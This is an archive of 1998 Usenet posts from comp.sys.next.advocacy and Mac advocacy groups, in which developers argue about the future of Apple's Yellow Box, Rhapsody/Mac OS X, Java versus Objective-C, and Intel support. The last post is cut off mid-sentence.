>And you're making fun of windows users. Jeez, I only wish you were joking,
>but I guess you're serious. To each their own and all that.
Platinum is the familiar one, it's what should allow them to get creative.
That's why I want it in there. It's not _that_ bad, although I would like
to see better and I think Apple is fully capable of doing _much_ better if
they try...
-Bob Cassidy
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 13:37:14 -0700
Organization: PM Global Foods, LLC
Message-ID: <35ABC17A.AA9706EF@nospam.com>
References: <35AA8501.CF6AAF27@nospam.com> <35AA658F.A2A2CFD@alum.mit.edu>
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Eric Hermanson wrote:
>
> I believe Apple will continue to offer Obj-C API's that are also wrapped in Java
> and thus exposed fully to Java. WebObjects 4.0 also has some Interface Builder
> support for the Java Swing UI. Apple is serious about supporting Java, and in
> my opinion, continuing to support Yellow Box.
I wish I were so optimistic. Surely the technology and the ability
exists within Apple to make a Yellow Box OS and development environment,
combined with Java, "Insanely Great." My concern is with the weak,
muted rallying cry. Even in beta form they have a superior development
environment to most anything out there, yet where is the hoopla? Once
it is done (ie: Rhapsody 1.0), I don't start to see full page ads for
Rhapsody Development licenses, if just for the Windows kit, then I'll
dump all my Apple stock and never read one of these newsgroups. NeXT
sat on their great technology like it was a golden egg that would break
if exposed to the world. I'm affraid that the Jobs-ified Apple will do
the same.
> > 2) If not, do they intend to somehow wrap the API up in C++
>
> Oh GOD NO! I can guarantee that won't happen (at least not past the extent
> necessary to maybe get Carbon compatible with Yellow Box).
If the APIs necessary to support new technologies are to support Carbon
before they support YB (it the YB is a wrapper, not the other way
around) it stands to reason that YB may suffer this fate. I completely
agree that static binding, like in C++, is silly compared to Java or
ObjectiveC. That doesn't mean that what seems "best" will be what is
done.
> > or are they
> > going to just go to a complete JNI interface via Java (actually,
> > probably best long term solution - not byte code folks.)
>
> I think they're going to continue to develop new code in Obj-C and wrap it in
> Java for those that feel they need to be part of the "bandwagon".
I think that is a shortsighted view of things. Apple cannot expect to
support 3 full sets of APIs and languages and keep them all properly up
to date. That's why I bring this issue up. I honestly don't think they
can even support more than 1 all that well. Microsoft has done most of
its work in C++ as mere wrappers around C code, even today. This has
made the MFC a horrible, disgusting, (insert your adj here) library.
You really can't do this with YB (ie: wrap C api's) and still keep YB
beautiful. The same is true for a Java wrapper. It is equally tough to
support Carbon while building APIs specifically to work with ObjC or
Java. So, which one will be the "preferred" way of doing things? Java
is a legitimate language, even compared to ObjectiveC. By using JNI
with the class libraries, or using native compilers, Java can be as good
as ObjectiveC at runtime. There is also alot to be said for doing all
things possible to woo developers and asking them to learn ObjectiveC
doesn't help, when things can be done in Java just as well when combined
with a native compiler. They don't need to use java.io.* etc, they
would use the AppKit (YB) versions.
> But if
> Windows and MacOS are the only important platforms, and if YB services both of
> them with a common codebase, then maybe (just maybe) people will realize that
> Java is really as useless and as slow as it really is.
In this context, Java is only compared as a language. I think there is
a HUGE benefit for everyone (except Microsoft) if Java is used as the
native language of the Yellow Box. Even though the code won't
necessarily work great in a browser, at least the familiarity with Java
will translate, rather than have people learn ObjectiveC.
> If Apple kills Yellow Box there will be rummaging and pillaging at the Cupertino
> Campus. I don't think they would drop the most important piece of software they
> own.
They dropped Intel support for Mach. They dropped OpenDoc. They made
code incompatible from NeXT 3.x to OpenStep 4.0. They have still done a
poor job with Java (improving is not the same as having a good
version.) Dropping Yellow Box and simply keeping the Mach kernel
(something they could keep for free) and perhaps the YB binary support
would not surprise me in the least. The people in Apple know that they
will be able to RUN the currently developed Yellow Box apps, they may
feel that is enough. I personally don't think it is. They have to
advance the OS in every way along one, solid, unified path. I think
that either has to be Carbon or YB, not both. They can co-exist for
now, but not once OS X is release. If Apple were completely commited to
YB they would be advertising Carbon as the "conversion toolkit" that it
is. Instead, they make it out to be to API of the future.
> If they spin off Yellow Box, WebObjects, EOF, into a new company, that is
> another story (which could actually be a positive thing for those
> technologies).
'Scuse me? They called that NeXT Software and it was a miserable
industry failure that took alot of money from me and constrantly screwed
us over!
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
Subject: Re: Yellow Box future?
Newsgroups: comp.sys.next.advocacy
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net>
In-Reply-To: <6og17t$73c2@odie.mcleod.net>
From: not@my.address.net
Message-ID: <yHMq1.3729$24.21350185@news.itd.umich.edu>
Date: Tue, 14 Jul 1998 17:37:34 GMT
NNTP-Posting-Date: Tue, 14 Jul 1998 13:37:34 EDT
On 07/14/98, "Michelle L. Buck" wrote:
>There are exactly 2 engineers working part time on Interface
>Builder and Project Builder. Those two tools constitute the entire IDE.
>Does that sound like strong support ? The total number of Apple engineers
>working on anything related to YellowBox is less than 30 and possibly less
>than 10. Sure, there are lots of engineers working on Mach 3.0 kernels and
>new display systems, and new networking, and new file system support, and
>other things of direct support to Carbon. YellowBox is not even on the
>radar screen of Apple executives. The money being spent on YellowBox
>probably does not even show up in budgets it is so small. In fact, some of
>my Fortune 100 customers spend more money each year on YellowBox than Apple
>does.
>
That's cause for concern. BANG sometimes keeps minutes of its meetings on the
web. I think I recall reading that Dr. Ernie P. (Product Manager for Rhapsody,
if I remember right) had said a few months ago that there were now more
engineers working on the YellowBox frameworks at Apple than there had ever been
at NeXT.
In any event, maybe resources are limited and it's a question of what's urgent
(porting the Carbon API to MacOSX) as opposed to what's important (continued
development of the already very refined YellowBox frameworks). The salient
question might be, once Apple ports Carbon, where will the engineering resources
go? Will Apple continue to invest resources in Carbon or will they commit
resources that had been diverted by that project back to the YellowBox? Will
the new encryption architecture, for example, be part of the YellowBox or part
of Carbon or both? What about other frameworks that would be developed? Does
anyone think that if Apple wanted to provide a substantial new kit they wouldn't
leverage the YellowBox to develop it?
Asking, not telling.
--
invert: umich.edu jdevlin
insert: shift "2"
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 17:22:38 GMT
Organization: the unstoppable code machine
Message-ID: <6og44u$bpf$1@leonie.object-factory.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
<6ofu0o$q2h@nntp02.primenet.com>
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John Jensen wrote:
> I will be somewhat pleased, and not all that surprised, if Yellow ships
> before and better than Java. Nonetheless it annoys me when people stretch
> the truth in capital letters. RIGHT NOW would mean to me that you can
> ship your software to real customers today. Is that true?
Yes. Shocking, isn't it?
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 14:21:49 -0700
Organization: PM Global Foods, LLC
Message-ID: <35ABCBED.8296617@nospam.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net> <35AACACB.4A68807A@alum.mit.edu>
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Eric Hermanson wrote:
>
> Michelle L. Buck wrote:
>
> > You would be a flaming idiot to program for Yellow now.
>
> You are a flaming idoit for making a silly statement like that. You are
> obviously neither a good developer, nor an experienced manager. Whether you are
> an independent software vendor, or a programmer on a F-1000 staff, you are best
> served from a design and implementation efficiency standpoint to take advantage
> of the Yellow Box APIs when developing UI applications, the EOF API when
> developing database applications, and the WebObjects API's when developing web
> applications. There is no triad of tools available that can compete with
> YB/EOF/WO either alone or together.
So, because the YB and NeXT technologies are good we should use them.
Hmmm, because betamax is better... Get the idea? How many companies
have you been the IS manager at that have been running NeXTSTEP? I've
been here for over 3 years and I'm pretty convinced it is killing us and
Apple's response - as was NeXTs - is that "we're better, pay us a bunch
of money and we'll make ZERO commitments to our future product lines."
Kinda reminds me of the "don't worry, the Appkit for OpenStep 4.0 is
different but we'll write translators." Oh yeah, worked great. Can I
have some more swapland please!
> > I have been a NeXTstep and then Openstep developer since 1988 with version
> > 0.8.
>
> Why did you throw that line in there? To give yourself some authoritative
> stance allowing you to better trash Yellow Box??
Maybe he is pointing out that he is well aware of how great these
technologies are that you seem to think we should use just because they
are good.
> > My company and my Fortune 100 clients are abandoning YellowBox as fast as
> > possible.
>
> You've said this in at least 3 posts in the past 2 weeks. If you're abandoning
> it "as fast as possible", then why do you keep lingering on the subject?
I'm still lingering on it because I pray that Apple will get their act
together and have a good, set plan of attack soon - before I have to
completely leave the fold. You seem to think that people that complain
about Apple's plans hate Apple. If we hated Apple we'd be in another
newsgroup. The worst citizens of a society are those tat don't question
the authority.
> Just
> be gone with it and stop making embarrasing statements. By the way, all of the
> Fortune 1000 clients I am exposed to are adopting YB, and EOF especially, as
> fast as possible.
There is nothing to support that in any numbers I've read or seen
published. Should we start naming some big companies that AREN'T.
Hmmm, Dell for one... Dell's site was MUCH better when run completely by
WebObjects but they dumped it for MS instead. Being better isn't
enough. A good, solid strategy for the future is equally important.
Apple has a great hardware focus, but their focus for developers sucks.
They are basically making a more stable OS and trimming down the old
MacOS API's so they will work better in the future. Good steps, but
these are catch-up moves.
> > It is sad, but Yellow is dead. Apple has privately told my
> > Fortune 100 clients as much.
>
> What clients might those be? Country Joe's Chicken Ranch?
No, that would imply NeXT software was cheap enough for Country Joe to
purchase :)
> > Apple actually recomended Windows NT and Developer Studio.
>
> In general? Bullshit! Who at Apple recommended this, and in what context?
I have had a rep beg me to buy WebObjects and I can even run it on NT.
The man didn't even know if they HAD an OS to sell now or in the
future. My main rep is actually more intelligent than that, but even he
is often in a quandry about what to tell people about the future.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 14:31:00 -0700
Organization: PM Global Foods, LLC
Message-ID: <35ABCE14.1C849D11@nospam.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
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Bill Bumgarner wrote:
>
> Yellow represents one of the most flexible object frameworks in the
> industry... I say this not because I have drank the marketing kool-aid,
> but because I have been building yellow based apps for close to nine
> years.
>
> I have also looked at many, many other IDEs and frameworks. None compare.
> Delphi comes close.
I completely agree with all this. I have been coding with NeXT on and
off (I run the department and we all run NeXT) and have never seen
anything better. That is why I am so concerned at Apple lack of outward
enthusiasm. The only press seems to come from areas such as SMP or
memory protection. I want to know that if I get a new compiler for Mac
OSX I will not be writing C or Carbon code but will instead be using
InterfaceBuilder.
BTW: has anyone recieved a DR2 release for Intel or for Windows? Is
there an intention of releasing a developers version of YB for Windows
that doesn't require an outside compiler/linker? Just curious.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 14 Jul 1998 19:15:14 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ogao2$cuc$2@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <6og4n2$bpf$2@leonie.object-factory.com>
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
> Pulsar wrote:
> > Then there's the fact that John doesn't seem to like purple. ;)
>
> He's not alone. Purple is a very hostile color, and whoever came up with
> the very idea should be hung down the pirate flagpole, head down.
Actually, there are color studies that say that purple is the most polorizing
color. Either people hate it, or love it (this is for clothes, I don't know
how well it translates to UIs). People are rarely indifferent to it. Quite
honestly I wouldn't mind. There are probably tasteful ways to use it, or
almos any color for that matter; it's just that apple has successfully
managed to not find such uses.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 19:17:54 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ogat2$8vu@shelob.afs.com>
References: <not-1407981048300001@2-25.phx.psn.net>
Michael M. Eilers writes
> Not one of the Big Four Mac developers--Adobe, Quark, Microsoft,
> Macromedia--the people who *made* the Mac what it is today--were willing
> to touch Yellow Box with a ten-quadrillion-foot pole. That alone doomed
> the Yellow Box forever.
But the reasons had nothing to do with technical inability. Those four
developers had already been forced to solve cross-platform issues with
their own home-grown solutions. There was no point rewriting everything,
because it conveyed no fresh advantage *to them*. Furthermore, YB poses
a potential threat, precisely because it allows smaller firms to catch
up -- on both Windows and Mac -- with drastically smaller resources.
Don't believe me? Take a serious look at TIFFany, which was developed by
TWO guys over the meandering course of several years. Tell me with a
straight face that TIFFany is not Photoshop's equal (or better). Imagine
how Adobe feels about two guys in a college dorm cranking out code that
could put them to shame, despite orders of magnitude greater resources.
No, the reasons why the Big Developers would want to clobber YB are way
too obvious. The question is, will Apple consider it to be in its own
best interest to stand up to them?
As to Henry Norr, I was in fairly frequent contact with him during the
months following the NeXT acquisition, and I found him to be fair-minded
and willing to learn what Apple was buying. Still, he has his own point
of view on things, and his source (Ken Bereskin) is no better placed --
by your standards, where only Steve is worth listening to -- than the
people Scott Anguish has access to.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com>
Message-ID: <35abb32c.0@news.depaul.edu>
Date: 14 Jul 98 19:36:12 GMT
In comp.sys.next.advocacy Don Yacktman <don@misckit.com> wrote:
> Are you NOT aware that Jobs is one of Scott's information sources?
>Now, whether or not Jobs tells truth or lies to Scott is certainly worthy of
>speculation, but Scott's sources are very high up at Apple, including as high
>up as Jobs himself in some cases.
It would be nice if someone would pass along to these sources that
a free, Appkit-less, PDO-like YellowBox/Windows runtime would be a
very good idea.
--
"... and subpoenas for all." - Ken Starr
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Date: 14 Jul 1998 19:49:26 GMT
Organization: San Diego State University
Message-ID: <6ogco6$8ma$1@hole.sdsu.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.ph
x.psn.net>
Michael M. Eilers (not@a.valid.email.add) wrote:
: the idea of spending one dime more upgrading it. Computers cost money,
: dammit! Anyone who has ever bought a computer and expected to never buy
: one again is just plain ignorant in the extreme--as stupid as buying a car
: and thinking the only expenses will be gas, oil, and air filters, and it
: will last forever.
This is an extremely poor analogy, one that does not do your cause
credit. Keeping and maintaining a car for any length of time may
cost money, but not the sort of money needed to get rid of the
car every two years and buy a brand-new replacement. (At least,
no sane person would do that...right?)
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
Date: Tue, 14 Jul 1998 22:04:44 +0200
From: "Peter Bj=?ISO-8859-1?B?+HJuIFBlcmxz+A==?=" <peter.perlso@ngg.dk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu>
<B1CFE27C-C238@206.165.43.144>
Organization: N/A
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Message-ID: <35abb9e5.0@d2o103.telia.com>
In article <B1CFE27C-C238@206.165.43.144> , "Lawson English"
<english@primenet.com> wrote:
>I made one such argument. It is based on e-mail that a former Apple
>engineer sent to me about 8 months ago where he asserted that the kernel
>used in Rhapsody wasn't able to host QuickTime properly. I'm sure that he
>didn't mean for playback, so I assume that he meant for high-end,
>professional video creation.
Why should the kernel not be suited for QuickTime?? QT is just another
set of processes that the kernel hosts - this is nonsense.
//Peter
+-----------------------------------------+
I A computer without Windows I
I is like a fish without a bicycle I
+-----------------------------------------+
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 20:08:54 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ogdsm$ejk$2@lwnws01.ne.highway1.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5n32$6q$2@news.xmission.com> <Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk> <6ods31$lh3$1@lwnws01.ne.highway1.com> <6ogar0$m58@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Suppose Apple builds better Intel machines -- dropping support for
> all the legacy crap. They go with the standards that they have
> announced they are moving towards for PowerPC machines.
>
> The questions are :
>
> a. How much will these machines cost ?
> b. Will those who want Intel machines buy these ?
> (Apple could offer them without an OS for free UNIXers,
> with Rhaptel or with Windows NT).
>
> My guess is that to answer a., things won't be much cheaper than
> PowerPC machines. My answer to b. is "not enough people
> to make a sustainable market".
>
> IMO, rather than try to fix or support the problems of Intel-based
> hardware, if Apple could bring down prices on PowerPC hardware by
> 20% or more, on a sustained basis, that would be the correct thing
> to do.
It's clear to me that apple does not, and at least for a while, will not
compete on a price performance ratio. Why on earth would I buy an even more
expenseive intel machine from apple? I guess other than the pretty box and
stuff, not much reason for it if you are into the mere functionality. So I
agree with you to that extent Arun. However, (and I'm not sure that you were
specifically addressing this point with the above) providing an Intel version
of their operating system to be sold for compatibles might be successful if
given even a halfhearted chance. Apple seems intent on killing the intel
port before it's even made available. Which is daft, and typical of apple,
next, et al.
The bottom line is I agree with you. For now they *could* compete on a price
performance ratio if they bring prices down on the PPC stuff. There is a lot
of quality and knowhow that is palatable and does warrant consideration. But
ignoring the intel market when you have a practically free port of your OS is
just downright daft and telling to the industry. Apple itself thinks that
its PPC machines cannot compete on a price performance basis by the
positioning of its Intel version of OSX. At least IMO.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 19:16:48 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ogar0$m58@newsb.netnews.att.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5n32$6q$2@news.xmission.com> <Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk> <6ods31$lh3$1@lwnws01.ne.highway1.com>
Originator: gupta@tlctest
Supporting an OS on generic Intel hardware would be a step
backwards for Apple.
E.g. :
There are reports in the press that Windows 98 upgrades can
fail without applying an appropriate BIOS upgrade.
A comp.arch article says the following :
The solution that Apple took on the PPC for this
specific problem was to use OpenBoot (IEEE 1275-1994) --
which is essentially binary encoded Forth ....
OpenBoot came from work done at Sun, and Forth is
an interpreted (or should I say incrementally compiled)
language -- and thus independent of the ISA it executes
on -- the vendor provdes the basic Forth implementation
in its O/S or ROM.
Standardization on OpenBoot - and dumping the x86 BIOS,
CMOS setup, ARC, ARCBIOS, Alpha SRM, etc. would be a
significant boon to a lot of us low level system developer
types. .... be great if MS could use their muscle and
make OpenBoot the standard.
***
Suppose Apple builds better Intel machines -- dropping support for
all the legacy crap. They go with the standards that they have
announced they are moving towards for PowerPC machines.
The questions are :
a. How much will these machines cost ?
b. Will those who want Intel machines buy these ?
(Apple could offer them without an OS for free UNIXers,
with Rhaptel or with Windows NT).
My guess is that to answer a., things won't be much cheaper than
PowerPC machines. My answer to b. is "not enough people
to make a sustainable market".
IMO, rather than try to fix or support the problems of Intel-based
hardware, if Apple could bring down prices on PowerPC hardware by
20% or more, on a sustained basis, that would be the correct thing
to do.
-arun gupta
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 13:25:31 -0700
Organization: Digital Universe Corporation
Message-ID: <35ABBEBB.8E6E7CFD@alum.mit.edu>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net>
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Michelle L. Buck wrote:
> I agree with all of Bill Bumgarner's glowing description of YellowBox
> technology. In many ways he even understated it. Never the less, YellowBox
> is dead.....Now, who do you believe, Steve Jobs and all of his direct
> reports or a few engineers who are not privy to policy discussions ?
Well, considering Apple has totally, 100%, changed direction twice now from what
they publically and glowingly announced over the past two years, I tend to
believe the few engineers who are not privy to policy discussions.
> The number of active YellowBox developers is currently smaller than it has
> been in 7 years.
I demand that you cite your foundation for this, giving precise sources.
> Apple either refuses to sell YellowBox/Openstep to some
> fortune 100 companies or can not/will not provide information sufficient for
> the generation of a purchase order.
Apple is not selling Yellow Box because it isn't shipping yet! Apple is not
selling OpenStep because it is an obsolete product! Apple *will* sell both
YellowBox and Rhapsody (and WebObjects 4) come this September.
> Apple has even directly told some
> developers not to use YellowBox even if they want to do it now.
If this has happened, it is obviously an isolated case and was done for a very
good reason. I have never heard this before, and quite frankly, I am sick of
all the F.U.D. you are spreading. You're worse than the hired Microsoft guns
we've been hearing about in the papers. You're not on their secret "take over
the world" payroll, are you? :)
> YellowBox is dead. Don't waste your time with it.
Please stop wasing my time! I get your point. You've belabored it for 2 weeks
now.
> Apple does keep a few engineers working on YellowBox. They are just hedging
> their bets. There are exactly 2 engineers working part time on Interface
> Builder and Project Builder. Those two tools constitute the entire IDE.
> Does that sound like strong support ?
Even if you are correct, which I highly doubt - your track record doesn't
support you being correct - the reason there is such a small # of developers
working on YB at the present moment is that there are 4 other big fish to fry
over the next 3 months: Rhapsody 1.0, WebObjects 4.0, EOF 3.0, Mach 3.0, SMP.
YB is mature, and stable - has been for 6 years in the form of OpenStep. All
developers received Yellow Box for Windows with their Rhapsody DR2 shipments.
Apple is supporting Yellow Box well. Developers writing Yellow Box code right
now are going to hit the big time when they ship their cross-platform code on
Mac OS and Windows in September.
Eric
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 14 Jul 1998 20:24:45 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ogeqd$997@shelob.afs.com>
References: <6oge4p$ejk$3@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> writes
> Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> > Given that the underlying Mach kernel is expected to change by a major
> > version level between 1.0 and 2.0, I am not surprised to learn that
> > new device drivers might be required as a result.
>
> Absolutely true, and a fair point. But isn't it fair to say that a
> *great and substantial* amount of work done on the old drivers might
> be easily leveraged into the new driver model?
Dammit Jim, I'm an applications programmer, not a device hacker. It's
artificial life, but not as *I* know it. 8^)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-1407981332410001@term4-6.vta.west.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171>
Organization: Obsidian Design / Static Dreams Interactive
Date: Tue, 14 Jul 1998 20:33:25 GMT
NNTP-Posting-Date: Tue, 14 Jul 1998 13:33:25 PDT
In article <mNOSPAMroeder-1407981257200001@192.168.21.171>,
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
[SNIP]
> >At best, Apple is using some of the
> > better features from both, but isn't pushing any truly interesting and
> > useful, new concepts.
>
> Like what?
Document centricity (is that a word?). That is, making thing
document-centric like OpenDoc. I personally find this a much nicer way of
working, but the slowness of OpenDoc counters that enough that it's not
worth it. But if they were top do something similar using
OpenStep/YellowBox as a foundation, then I would love it.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 19:32:13 GMT
Organization: MiscKit Development
Message-ID: <6ogbnt$iv$3@news.xmission.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <35ABCE14.1C849D11@nospam.com>
NNTP-Posting-Date: 14 Jul 1998 19:32:13 GMT
Tim Triemstra <nospam@nospam.com> wrote:
> BTW: has anyone recieved a DR2 release for Intel or for Windows?
Many reports have been given that yes, some have it. I happen to even know
someone in Provo, UT who has it...happy DAY... :-)
--
Later,
-Donald A. Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 14 Jul 1998 20:45:26 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6ogg16$397$1@vixen.cso.uiuc.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001
Michael Peck (Michael.Peck@ericsson.com) wrote:
:
: It doesn't even matter whether Scott was a Macintosh developer "once
: upon a time", whenever and for however long that might have been.
That was in response to you saying that he was a newbie to the mac/Apple
way of business. So yes, it does matter.
It has
: nothing to do with his current disposition toward making statements
: based on his "inside track" which fly in the face of evidence and stoop
: to insulting disagreeing parties. Remember Ric Ford's open letter to
: Steve Jobs last year? Remember Steve's reply? Anyone remember how Ric
: was then called up by Jobs and given "the inside track" on the future? I
: believe it's known as "reality distortion field", no? Inside track, my
: ass.
:
The disagreeing parties stooped to insulting him first.
: Scott is anything but qualified to disparage the likes of Henry Norr.
: That's undisputable. Oh, I know how the NeXT community likes to hold
: itself above the Mac community, which would obviously make media
: personalities like Scott Anguish more credible than longtimers like
: Norr. But do try to restrain some of that. It makes my stomach turn to
